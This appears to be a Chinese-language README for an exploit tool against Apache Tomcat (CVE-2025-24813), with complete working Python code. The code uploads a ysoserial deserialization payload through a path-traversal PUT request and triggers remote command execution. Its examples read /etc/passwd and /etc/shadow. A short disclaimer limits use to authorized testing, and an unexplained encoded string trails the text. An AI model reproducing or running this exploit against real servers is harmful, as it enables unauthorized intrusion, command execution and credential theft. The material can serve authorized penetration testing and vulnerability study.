Apache Tomcat 远程代码执行漏洞利用工具(CVE-2025-24813)
项目概述
本项目是一个针对Apache Tomcat特定安全漏洞(CVE-2025-24813)的远程代码执行漏洞利用工具。该工具利用Tomcat在处理会话文件时存在的不安全反序列化问题,允许攻击者在具有特定配置的服务器上执行任意命令。
受影响版本:
- Apache Tomcat 9.x
- Apache Tomcat 10.x(已确认受影响的版本)
漏洞类型:远程代码执行(RCE) 攻击方式:通过HTTP PUT方法上传恶意序列化会话文件,并触发JSP文件请求
功能特性
- 自动Payload生成:集成ysoserial框架,自动生成反序列化Payload
- PUT方法检测:自动检测目标服务器是否支持HTTP PUT方法
- 智能会话管理:随机生成会话文件名,避免重复冲突
- 文件清理机制:自动删除本地生成的临时Payload文件
- 状态码分析:根据服务器响应状态码判断漏洞利用成功与否
- 命令自定义:支持用户自定义要在目标服务器上执行的命令
安装指南
系统要求
- Python 3.6 或更高版本
- Java运行环境(用于运行ysoserial.jar)
- 网络访问权限
依赖安装
- 克隆本项目:
git clone [项目仓库地址]
cd Apache-Tomcat-RCE-CVE-2025-24813
- 安装Python依赖:
pip install requests
- 下载并配置ysoserial:
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar
注意事项
- 仅在授权的渗透测试环境中使用本工具
- 需要目标服务器支持HTTP PUT方法
- 需要目标服务器会话目录具有写权限
- 使用前请确保已获得合法授权
使用说明
基础用法
# 基本漏洞检测(默认执行id命令)
python exploit.py http://target-server:8080
# 执行自定义命令
python exploit.py http://target-server:8080 --cmd "whoami"
# 执行复杂命令
python exploit.py http://target-server:8080 --cmd "cat /etc/passwd"
参数说明
target:目标URL(必需参数)--cmd:要在目标服务器上执行的命令(可选,默认为"id")
使用示例
# 示例1:检测目标服务器漏洞
python exploit.py http://192.168.1.100:8080
# 示例2:获取服务器系统信息
python exploit.py http://192.168.1.100:8080 --cmd "uname -a"
# 示例3:读取敏感文件
python exploit.py http://192.168.1.100:8080 --cmd "cat /etc/shadow"
核心代码
主执行逻辑
#!/usr/bin/env python3
# Exploit Title: Apache Tomcat - Remote Code Execution via Session Deserialization (CVE-2025-24813)
# Date: 2025-05-25
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://tomcat.apache.org
# Software Link: https://tomcat.apache.org/download-90.cgi
# Version: Apache Tomcat 9.x, 10.x (confirmed vulnerable versions)
# Tested on: Apache Tomcat 10.1.8 on Ubuntu 22.04
# CVE: CVE-2025-24813
# Category: Remote
# Type: RCE
# Description:
# This exploit leverages a Remote Code Execution vulnerability in Apache Tomcat due to unsafe deserialization of session files.
# By uploading a malicious serialized Java payload to a writable session directory and triggering a request to a JSP file,
# the attacker can achieve arbitrary command execution on the server.
import requests
import os
import random
import string
import subprocess
import argparse
def random_session(length=10):
"""
生成随机会话名称
参数: length - 会话名称长度
返回: 随机字符串
"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def build_payload(command, filename):
"""
构建反序列化Payload
参数: command - 要执行的命令
filename - 输出文件名
"""
try:
print("[*] Creating serialized payload...")
# 使用ysoserial生成恶意序列化对象
with open(filename, 'wb') as f:
subprocess.run(["java", "-jar", "ysoserial.jar", "CommonsCollections1", command], stdout=f, check=True)
print(f"[+] Payload written to: {filename}")
except Exception as e:
print(f"[!] Failed to create payload: {e}")
exit(1)
def check_put(target):
"""
检查目标服务器是否支持PUT方法
参数: target - 目标URL
返回: 布尔值,表示是否支持PUT
"""
try:
url = f"{target}/check.txt"
r = requests.put(url, data="test")
# 返回200、201、204或409状态码表示支持PUT
return r.status_code in [200, 201, 204, 409]
except:
return False
def upload_payload(target, session_name, filename):
"""
上传Payload到目标服务器
参数: target - 目标URL
session_name - 会话名称
filename - 要上传的文件名
返回: 服务器响应状态码
"""
url = f"{target}/uploads/../sessions/{session_name}.session"
headers = {"Content-Type": "application/octet-stream"}
try:
with open(filename, 'rb') as f:
data = f.read()
r = requests.put(url, headers=headers, data=data)
print(f"[*] Upload response: {r.status_code}")
return r.status_code
except Exception as e:
print(f"[!] Upload failed: {e}")
return 0
def trigger_payload(target):
"""
触发Payload执行
参数: target - 目标URL
返回: 服务器响应状态码
"""
try:
# 访问JSP文件以触发会话反序列化
r = requests.get(f"{target}/index.jsp", timeout=5)
return r.status_code
except Exception as e:
print(f"[!] Trigger error: {e}")
return 0
def clean_file(f):
"""
清理临时文件
参数: f - 文件名
"""
try:
os.remove(f)
print("[*] Temporary file removed.")
except:
pass
def main():
"""
主函数:解析参数并执行漏洞利用流程
"""
parser = argparse.ArgumentParser(description="Apache Tomcat RCE Exploit - CVE-2025-24813")
parser.add_argument("target", help="Target URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--cmd", default="id", help="Command to execute on target")
args = parser.parse_args()
# 1. 检查PUT方法支持
if not check_put(args.target):
print("[-] Target does not support PUT method.")
return
# 2. 准备Payload
session = random_session()
payload_file = "payload.ser"
build_payload(args.cmd, payload_file)
# 3. 上传Payload
status = upload_payload(args.target, session, payload_file)
if status in [200, 201, 409]:
print("[+] Payload uploaded successfully.")
# 4. 触发Payload
result = trigger_payload(args.target)
if result == 500:
print(f"[+] Target {args.target} is vulnerable to CVE-2025-24813!")
else:
print("[-] Deserialization did not trigger (try different JSP path).")
else:
print("[-] Payload upload failed.")
# 5. 清理临时文件
clean_file(payload_file)
if __name__ == "__main__":
main()
漏洞利用流程
- PUT方法检测:首先检测目标服务器是否允许HTTP PUT请求
- Payload生成:使用ysoserial生成反序列化Payload,使用CommonsCollections1链
- 文件上传:将Payload上传到服务器的会话目录(通过路径遍历绕过限制)
- 漏洞触发:访问JSP文件以触发会话反序列化过程
- 结果验证:根据服务器响应状态码判断漏洞是否成功利用
- 环境清理:删除本地生成的临时Payload文件
技术要点
- 路径遍历:利用
/uploads/../sessions/路径绕过可能的访问限制 - 会话命名:使用随机生成的会话名称避免文件覆盖和检测
- 状态码判断:
- 200/201/409:文件上传成功
- 500:服务器内部错误,通常表示反序列化执行成功
- 其他:漏洞利用失败
注意:本工具仅用于授权的安全测试和教育目的。未经授权对他人系统进行测试是非法行为。 6HFtX5dABrKlqXeO5PUv/5Hs583UIvfm5lM2/kIXQ8NjvVp1iLvR5+0tVxBasskdoBgeGjvY2Rs9RZin3EkSaOE1xlPzgjxFDZ1bZQoD4Z3xm3vAJJFgKgFe+qpKhvQGS3QRqFf4Gq/m8sYE4O0IEQ==